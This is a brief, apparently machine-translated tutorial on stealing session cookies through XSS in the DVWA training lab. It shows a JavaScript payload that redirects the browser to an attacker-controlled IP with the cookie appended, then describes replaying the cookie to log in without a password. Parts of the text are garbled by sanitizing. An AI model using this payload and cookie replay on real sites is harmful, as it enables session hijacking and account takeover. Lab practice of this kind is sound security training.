Shulou(Shulou.com)06/01 Report--

Statement: For communication only, illegal and criminal activities are strictly prohibited, otherwise the consequences will be borne by yourself.

1. Environment ready to receive cookies:

ip = 172.24.10.105

Code: Save as getCookie.php

2. Insert js code in the experimental environment:

_document.location='http://172.24.10.105/getCookie.php? cookie='+[xss_clean];

Remove restrictions by reviewing elements and then insert js code

Then re-visit this page and find that there was a jump

and seeing cookies on the platform that received them.

Change browser settings Cookies

Direct access:

http://127.0.0.1/DVWA/

No password required Login

Welcome to Weixin Official Accounts

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.